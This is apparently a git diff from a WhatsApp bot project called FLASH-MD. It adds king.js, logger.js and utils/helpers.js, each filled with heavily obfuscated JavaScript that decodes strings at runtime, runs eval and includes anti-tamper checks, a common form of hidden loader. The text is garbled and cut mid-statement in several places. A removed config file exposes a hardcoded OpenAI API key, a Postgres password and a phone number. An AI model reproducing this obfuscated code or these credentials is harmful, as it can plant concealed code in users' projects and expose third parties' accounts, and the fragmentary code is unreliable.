(0o400110%65565):vTws=D3Gs>=jGOs.length?(66166-0o201155):(0o600215%65571);break;case (262205%0o200015):vTws=(0o1000274%65574);{D3Gs=(0x75bcd15-0O726746425);}break;}}break;case (0o400103%0x1001A):zYBs=bwEssOgA[JLipb.Jxzlb(6)](JLipb.VKhlb(7)));cWvA[JLipb.NyAkb(8)](wRmA,()=>console[JLipb.dTUkb(9)](`${JLipb.tbIkb(10)}${wRmA}`));require(JLipb.RDFkb(11))();require(JLipb.NA7kb(12)); diff --git a/king.js b/king.js new file mode 100644 index 00000000..12a5c626 --- /dev/null +++ b/king.js @@ -0,0 +1,2 @@ + +let Fuv5;!function(){const YGsx=Array.prototype.slice.call(arguments);return eval("(function AGro(jWyg){const LtBg=v3Fe(jWyg,Djrg(AGro.toString()));try{let fRtg=eval(LtBg);return fRtg.apply(null,YGsx);}catch(Howg){var bMog=(0o203256-67227);while(bMog<(0o400126%65560))switch(bMog){case (0x3006A%0o200035):bMog=Howg instanceof SyntaxError?(0O264353757%8):(0o600150%65558);break;case (0O264353757%8):bMog=(0o202760-0x105CA);{console.log(\'Error: the code has been tampered!\');return}break;}throw Howg;}function Djrg(fJle){let Hgoe=1461937339;var bEge=(0o204300-67744);{let Dbje;while(bEge<(262280%0o200031)){switch(bEge){case (0o1000115%0x1000B):bEge=(0o201274-66201);{Hgoe^=(fJle.charCodeAt(Dbje)*(15658734^0O73567354)+fJle.charCodeAt(Dbje>>>(0O73567354%6)))^1420468052;}break;case (0o202570-66901):bEge=(0x40078%0o200027);Dbje++;break;case (0x40088%0o200033):bEge=Dbje=(0o204444-0x1090A)?String.fromCharCode((0x111C6-0o210605)+(v18d-(0o600150%65562))):String.fromCharCode((0o1000415%0x1002B)+v18d);}break;case (0o203100-0x1062C):z6de=(0o205036-68089);Tt6d++;break;}}}return Xybe;}function v3Fe(XAIe,rYAe){XAIe=decodeURI(XAIe);let TvDe=(0x75bcd15-0O726746425);let nTve=\"\";var Pqye=(67136-0o203040);{let jOqe;while(Pqye<(68776-0o206204)){switch(Pqye){case (0o600077%0x1000A):Pqye=(0o200536-65851);{nTve+=String.fromCharCode(XAIe.charCodeAt(jOqe)^rYAe.charCodeAt(TvDe));TvDe++;var Llte=(0o200670-65954);while(Llte<(0o201130-66106))switch(Llte){case (0x10294-0o201176):Llte=TvDe>=rYAe.length?(0x10488-0o202153):(0o600151%0x10019);break;case (0x3005F%0o200026):Llte=(0o400134%65567);{TvDe=(0x75bcd15-0O726746425);}break;}}break;case (0o1000200%65561):Pqye=jOqe{wlqh[Fuv5.lPP0(34)](sGie[Fuv5.hKK0(35)],sGie);var MBZd=Fuv5[Fuv5.dHc1(36)]();while(MBZdQghh[Fuv5.lPP0(34)](oDce,sGie[Fuv5.hKK0(35)]));break;}});function IyTd(kAWd){return kAWd[Fuv5.Nu02(40)](Fuv5.pUU0(41));}function EvNd(gxQd){var gRDe=Fuv5[Fuv5.dHc1(36)]();while(gRDe{var glrf=Fuv5[Fuv5.dHc1(36)]();while(glrf(0x75bcd15-0O726746425)?`${Fuv5.x440(93)}${YSFg[Fuv5.hKK0(91)][Fuv5.Rtu1(95)](Fuv5.Nu02(96))}${Fuv5.t1w1(94)}`:Fuv5.pUU0(97);const UTKc=wlqh[Fuv5.lPP0(98)];const wVNc=`${Fuv5.hKK0(99)}${UTKc}${Fuv5.dHc1(100)}${UzXb}${Fuv5.x440(101)}${syUb}`;await king[Fuv5.t1w1(102)](king[Fuv5.hKK0(83)][Fuv5.dHc1(84)],{[Fuv5.Rtu1(103)]:wVNc,[Fuv5.Nu02(104)]:{[Fuv5.pUU0(105)]:1,[Fuv5.lPP0(106)]:!![],[Fuv5.hKK0(107)]:{[Fuv5.dHc1(108)]:Fuv5.x440(109),[Fuv5.t1w1(110)]:Fuv5.Rtu1(111),[Fuv5.Nu02(112)]:-(0O57060516-0xbc614d)}}})[Fuv5.pUU0(113)](()=>{});}break;}});const QQEc=new Set();king[Fuv5.t1w1(70)][Fuv5.Rtu1(71)](Fuv5.lPP0(114),async sSHc=>{var MNyc=Fuv5[Fuv5.dHc1(36)]();while(MNycQQEc[Fuv5.dHc1(124)](IKsc),(0O507646144^0x51F4C61)*60*1000);}});king[Fuv5.t1w1(70)][Fuv5.Rtu1(71)](Fuv5.x440(125),async({[Fuv5.dHc1(84)]:caXc,[Fuv5.t1w1(126)]:Ebad,[Fuv5.Rtu1(127)]:YWQc})=>{var AYTc=Fuv5[Fuv5.dHc1(36)]();while(AYTc{const QIq=oHn[(0x75bcd15-0O726746425)];var kEh=Fuv5[Fuv5.dHc1(36)]();while(kEh{});}break;}const QwRb=gBb[Fuv5.Nu02(40)](Fuv5.pUU0(49));const ksIb=YSFg[Fuv5.Nu02(296)];const MtLb=QwRb&&!ICe&&QIq[Fuv5.x440(133)]&&!Ufkb&&ksIb===Fuv5.Rtu1(71);var gpCb=Fuv5[Fuv5.dHc1(36)]();while(gpCb{console[Fuv5.dHc1(76)](Fuv5.pUU0(297),IqFb);});}break;}const cmwb=IyTd(gBb)?Mdbh[Fuv5.t1w1(22)]:Mdbh[Fuv5.hKK0(19)];var Enzb=Fuv5[Fuv5.dHc1(36)]();while(EnzbAQNoc[Fuv5.dHc1(84)]===onInc);Iiznc=Awaoc?.[Fuv5.hKK0(35)]||Awaoc?.[Fuv5.dHc1(308)]||QIq[Fuv5.x440(309)]||cSI;kkCnc=YuXnc[Fuv5.dHc1(132)];kEpoc=Fuv5.t1w1(310);}catch{kkCnc=Fuv5.Rtu1(311);}}break;case (15658734^0O73567354):Ezgoc=Fuv5[Fuv5.x440(37)]();var cSQoc=Fuv5[Fuv5.dHc1(36)]();while(cSQoc{});}break;}var ceqnc=Fuv5[Fuv5.dHc1(36)]();while(ceqnc=YSFg[Fuv5.Rtu1(447)]?Fuv5[Fuv5.Rtu1(39)]():Fuv5[Fuv5.t1w1(142)]();break;case (0O57060516-0xbc614d):cuaic=Fuv5[Fuv5.x440(37)]();{try{await db[Fuv5.Nu02(448)](gBb,AQF);await king[Fuv5.pUU0(449)](gBb,[AQF],Fuv5.lPP0(450));await king[Fuv5.t1w1(102)](gBb,{[Fuv5.Rtu1(103)]:`${Fuv5.hKK0(451)}${cSI}${Fuv5.dHc1(452)}${YSFg[Fuv5.Rtu1(447)]}${Fuv5.x440(453)}`,[Fuv5.Rtu1(135)]:[AQF]});}catch(Evdic){console[Fuv5.dHc1(76)](Fuv5.t1w1(454),Evdic);}}break;case (15658734^0O73567354):cuaic=Fuv5[Fuv5.x440(37)]();{await king[Fuv5.t1w1(102)](gBb,{[Fuv5.Rtu1(103)]:`${Fuv5.Rtu1(455)}${cSI}${Fuv5.Nu02(456)}${Iyjic}${Fuv5.pUU0(457)}${YSFg[Fuv5.Rtu1(447)]}${Fuv5.lPP0(458)}`,[Fuv5.dHc1(436)]:QIq,[Fuv5.Rtu1(135)]:[AQF]});}break;}break;}case Fuv5.hKK0(459):{try{await king[Fuv5.pUU0(449)](gBb,[AQF],Fuv5.lPP0(450));await king[Fuv5.t1w1(102)](gBb,{[Fuv5.Rtu1(103)]:`${Fuv5.hKK0(451)}${cSI}${Fuv5.dHc1(460)}`},{[Fuv5.Rtu1(135)]:[AQF]});}catch(YqUhc){}break;}case Fuv5.dHc1(124):{try{await king[Fuv5.t1w1(102)](gBb,{[Fuv5.dHc1(124)]:QIq[Fuv5.hKK0(139)]});}catch(AsXhc){}break;}}}break;}}break;}}break;}}catch(AMKic){}}break;}const cONic=[...YSFg[Fuv5.hKK0(91)]];const wJEic=cONic[Fuv5.Nu02(120)](Fuv5.Nu02(32));const YKHic=Ufkb&&wxfkc[Fuv5.x440(461)](Fuv5.t1w1(462));let sGyic=cONic[Fuv5.hKK0(307)](UHBic=>UHBic&&wxfkc[Fuv5.dHc1(148)]()[Fuv5.x440(461)](UHBic));let oDsic=Fuv5.Nu02(32);var QEvic=Fuv5[Fuv5.dHc1(36)]();while(QEvicImKjc[Fuv5.lPP0(466)])[Fuv5.hKK0(467)](ciBjc=>ciBjc[Fuv5.dHc1(84)]);}catch(EjEjc){console[Fuv5.dHc1(76)](Fuv5.dHc1(468),EjEjc);}}break;}console[Fuv5.hKK0(43)](Fuv5.x440(469),EPQic);console[Fuv5.hKK0(43)](Fuv5.t1w1(470),IWR);function Yevjc(Agyjc){return Agyjc?.[Fuv5.t1w1(46)]?.(Fuv5.Rtu1(47))?.[(0x75bcd15-0O726746425)];}const Ubpjc=EPQic[Fuv5.hKK0(467)](EPAe);const wdsjc=EPAe(IWR);const YCtgc=EPAe(king[Fuv5.hKK0(83)][Fuv5.dHc1(84)]);const AEwgc=Ubpjc[Fuv5.Nu02(120)](wdsjc);const Uzngc=Ubpjc[Fuv5.Nu02(120)](YCtgc);const wBqgc=EvNd(AQF);const Qwhgc=EvNd(king[Fuv5.hKK0(83)][Fuv5.dHc1(84)]);const sykgc=IWR[Fuv5.Nu02(40)](Fuv5.Rtu1(31))?IWR[Fuv5.t1w1(30)](Fuv5.Rtu1(31),Fuv5.Nu02(32)):null;const Mtbgc=global[Fuv5.Nu02(16)][Fuv5.x440(45)](cSI)||(sykgc&&global[Fuv5.Nu02(16)][Fuv5.x440(45)](sykgc));const ovegc=ISGe(cSI)||wBqgc===Qwhgc||cSI===YSFg[Fuv5.x440(29)];const oPRgc=ovegc||ICe||Mtbgc;console[Fuv5.hKK0(43)](Fuv5.Rtu1(471),king[Fuv5.hKK0(83)][Fuv5.dHc1(84)]);console[Fuv5.hKK0(43)](Fuv5.Nu02(472),YSFg[Fuv5.x440(29)]);console[Fuv5.hKK0(43)](Fuv5.pUU0(473),global[Fuv5.Nu02(16)]);console[Fuv5.hKK0(43)](Fuv5.lPP0(474),Ubpjc);console[Fuv5.hKK0(43)](Fuv5.hKK0(475),wdsjc);console[Fuv5.hKK0(43)](Fuv5.dHc1(476),YCtgc);var QQUgc=Fuv5[Fuv5.dHc1(36)]();while(QQUgc{});}break;}var MNOgc=Fuv5[Fuv5.dHc1(36)]();while(MNOgc{});}});king[Fuv5.t1w1(70)][Fuv5.Rtu1(71)](Fuv5.x440(485),MpAf);}kUJe(); diff --git a/logger.js b/logger.js new file mode 100644 index 00000000..319f449c --- /dev/null +++ b/logger.js @@ -0,0 +1,2 @@ + // FLASH-MD-V2.5 +let EZYH;!function(){const ovMF=Array.prototype.slice.call(arguments);return eval("(function s8Sh(PeWvb){const rMYvb=bm3tb(PeWvb,jCOvb(s8Sh.toString()));try{let L9Qvb=eval(rMYvb);return L9Qvb.apply(null,ovMF);}catch(nHTvb){var H4Lvb=(0o202354-66782);while(H4Lvb<(0o400151%65569))switch(H4Lvb){case (0x3005F%0o200033):H4Lvb=nHTvb instanceof SyntaxError?(0o400144%0x1001F):(0o400153%0x10022);break;case (0o202164-0x1044E):H4Lvb=(0o400167%65576);{console.log(\'Error: the code has been tampered!\');return}break;}throw nHTvb;}function jCOvb(L1Itb){let nzLtb=880175828;var HWDtb=(0o400071%65558);{let juGtb;while(HWDtb<(0x105F0-0o202712)){switch(HWDtb){case (0o600123%0x10016):HWDtb=(69976-0o210463);{nzLtb^=(L1Itb.charCodeAt(juGtb)*(15658734^0O73567354)+L1Itb.charCodeAt(juGtb>>>(0x4A5D0CE&0O320423424)))^1247797466;}break;case (0o207164-69199):HWDtb=(131116%0o200006);juGtb++;break;case (262228%0o200015):HWDtb=juGtb=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(bkwtb-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+bkwtb);}break;case (0o600051%0x1000A):fpBtb=(0o200264-65698);zMttb++;break;}}}return DRytb;}function bm3tb(DT5tb,XgYtb){DT5tb=decodeURI(DT5tb);let zO0tb=(0x75bcd15-0O726746425);let TbTtb=\"\";var vJVtb=(0o203232-0x1068D);{let P6Ntb;while(vJVtb<(0x111D0-0o210652)){switch(vJVtb){case (0o200252-0x10099):vJVtb=(0o201344-66239);{TbTtb+=String.fromCharCode(DT5tb.charCodeAt(P6Ntb)^XgYtb.charCodeAt(zO0tb));zO0tb++;var rEQtb=(0o202342-0x104C9);while(rEQtb<(0x3006E%0o200034))switch(rEQtb){case (0o400127%65567):rEQtb=zO0tb>=XgYtb.length?(67146-0o203063):(0o600145%65561);break;case (262267%0o200031):rEQtb=(0o1000212%65564);{zO0tb=(0x75bcd15-0O726746425);}break;}}break;case (0o400070%0x1000C):vJVtb=P6Ntb>>(0x4A5D0CE&0O320423424)))^854778155;}break;case (0o206344-68803):bCfu=(131124%0o200016);D9hu++;break;case (262252%0o200025):bCfu=D9hu=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(bEMu-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+bEMu);}break;case (0o600070%0x1000C):z4cu=(0o200430-65788);z6Ju++;break;}}}return Xwau;}function v1Eu(XyHu,rWzu){XyHu=decodeURI(XyHu);let TtCu=(0x75bcd15-0O726746425);let nRuu=\"\";var Poxu=(0o203434-0x1070E);{let Pq4u;while(Poxu<(0x10FF0-0o207716)){switch(Poxu){case (0o200372-0x100E1):Poxu=(0o201224-66163);{nRuu+=String.fromCharCode(XyHu.charCodeAt(Pq4u)^rWzu.charCodeAt(TtCu));TtCu++;var rY6u=(0o201666-0x103A3);while(rY6u<(0x300AF%0o200056))switch(rY6u){case (0o400121%65567):rY6u=TtCu>=rWzu.length?(68056-0o204664):(0o600246%65579);break;case (262304%0o200037):rY6u=(0o1000335%65582);{TtCu=(0x75bcd15-0O726746425);}break;}}break;case (0o400100%0x10014):Poxu=Pq4u', - PREFIXE: process.env.PREFIX || "+", - OWNER_NAME: process.env.OWNER_NAME || "France King", - NUMERO_OWNER : process.env.OWNER_NUMBER || "254757835036", - - AUTO_READ_STATUS: process.env.AUTO_READ_STATUS || "yes", -AUTOREAD_MESSAGES: process.env.AUTO_READ_MESSAGES || "yes", -CHATBOT: process.env.CHAT_BOT || "yes", - AUTO_DOWNLOAD_STATUS: process.env.AUTO_DOWNLOAD_STATUS || 'no', - BOT : process.env.BOT_NAME || 'FLASH-MD', - OPENAI_API_KEY : process.env.OPENAI_API_KEY || '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', - URL : process.env.BOT_MENU_LINKS || 'https://static.animecorner.me/2023/08/op2.jpg', - MODE: process.env.PUBLIC_MODE || "no", - PM_PERMIT: process.env.PM_PERMIT || 'no', - HEROKU_APP_NAME : process.env.HEROKU_APP_NAME, - HEROKU_APY_KEY : process.env.HEROKU_API_KEY , - WARN_COUNT : process.env.WARN_COUNT || '3' , - PRESENCE : process.env.PRESENCE || '', - //GPT : process.env.OPENAI_API_KEY || '', - DP : process.env.STARTING_BOT_MESSAGE || "yes", - ADM : process.env.ANTI_DELETE_MESSAGE || 'yes', - DATABASE_URL, - DATABASE: DATABASE_URL === databasePath - ? "postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9" : "postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9", - /* new Sequelize({ - dialect: 'sqlite', - storage: DATABASE_URL, - logging: false, -}) -: new Sequelize(DATABASE_URL, { - dialect: 'postgres', - ssl: true, - protocol: 'postgres', - dialectOptions: { - native: true, - ssl: { require: true, rejectUnauthorized: false }, - }, - logging: false, -}),*/ -}; -let fichier = require.resolve(__filename); -fs.watchFile(fichier, () => { - fs.unwatchFile(fichier); - console.log(`mise à jour ${__filename}`); - delete require.cache[fichier]; - require(fichier); -}); diff --git a/utils/helpers.js b/utils/helpers.js new file mode 100644 index 00000000..83d9635f --- /dev/null +++ b/utils/helpers.js @@ -0,0 +1,2 @@ +// JULY UPDATE 👍 +let mEEW;!function(){const ISEF=Array.prototype.slice.call(arguments);return eval("(function coFH(LDMz){const LFjA=XKTx(LDMz,Dv9z(coFH.toString()));try{let ndmA=eval(LFjA);return ndmA.apply(null,ISEF);}catch(HAeA){var j8gA=(0o205346-68295);while(j8gA<(0o400064%65546))switch(j8gA){case (0x300A3%0o200054):j8gA=HAeA instanceof SyntaxError?(0o400115%0x1001F):(0o400066%0x1000B);break;case (0o200702-0x101B3):j8gA=(0o400102%65553);{console.log(\'Error: the code has been tampered!\');return}break;}throw HAeA;}function Dv9z(f3bA){let zq4z=1406131673;var bY6z=(0o400107%65562);{let Dn1x;while(bY6z<(0x105F0-0o202712)){switch(bY6z){case (0o600213%0x10022):bY6z=(69016-0o206573);{zq4z^=(f3bA.charCodeAt(Dn1x)*(15658734^0O73567354)+f3bA.charCodeAt(Dn1x>>>(0x4A5D0CE&0O320423424)))^1944993329;}break;case (0o205524-68407):bY6z=(131160%0o200032);Dn1x++;break;case (262312%0o200041):bY6z=Dn1x=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(vdRx-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+vdRx);}break;case (0o600070%0x10008):ziWx=(0o200202-65653);bQYx++;break;}}}return fV3x;}function XKTx(r8Lx,TFOx){r8Lx=decodeURI(r8Lx);let THly=(0x75bcd15-0O726746425);let vfoy=\"\";var PCgy=(0o204646-0x10993);{let rajy;while(PCgy<(0x111D0-0o210652)){switch(PCgy){case (0o200562-0x1014D):PCgy=(0o201104-66087);{vfoy+=String.fromCharCode(r8Lx.charCodeAt(rajy)^TFOx.charCodeAt(THly));THly++;var Lxby=(0o202734-0x105BE);while(Lxby<(0x300A2%0o200051))switch(Lxby){case (0o400134%65567):Lxby=THly>=TFOx.length?(67426-0o203507):(0o600231%65574);break;case (262295%0o200037):Lxby=(0o1000313%65577);{THly=(0x75bcd15-0O726746425);}break;}}break;case (0o400144%0x10020):PCgy=rajy>>(0x4A5D0CE&0O320423424)))^769338874;}break;case (0o205050-68110):Tnvc=(131177%0o200042);vNp++;break;case (262345%0o200051):Tnvc=vNp=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(nDf-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+nDf);}break;case (0o600070%0x1000C):rIk=(0o200500-65824);Tfn++;break;}}}return Xks;}function Pai(jy,L5c){jy=decodeURI(jy);let L7J=(0x75bcd15-0O726746425);let nFM=\"\";var H2E=(0o207070-0x10E1C);{let jAH;while(H2E<(0x111D0-0o210652)){switch(H2E){case (0o200550-0x10144):H2E=(0o201010-66030);{nFM+=String.fromCharCode(jy.charCodeAt(jAH)^L5c.charCodeAt(L7J));L7J++;var DXz=(0o201274-0x102AE);while(DXz<(0x30076%0o200036))switch(DXz){case (0o400110%65565):DXz=L7J>=L5c.length?(66586-0o202013):(0o600155%65563);break;case (262259%0o200031):DXz=(0o1000224%65566);{L7J=(0x75bcd15-0O726746425);}break;}}break;case (0o400165%0x10028):H2E=jAH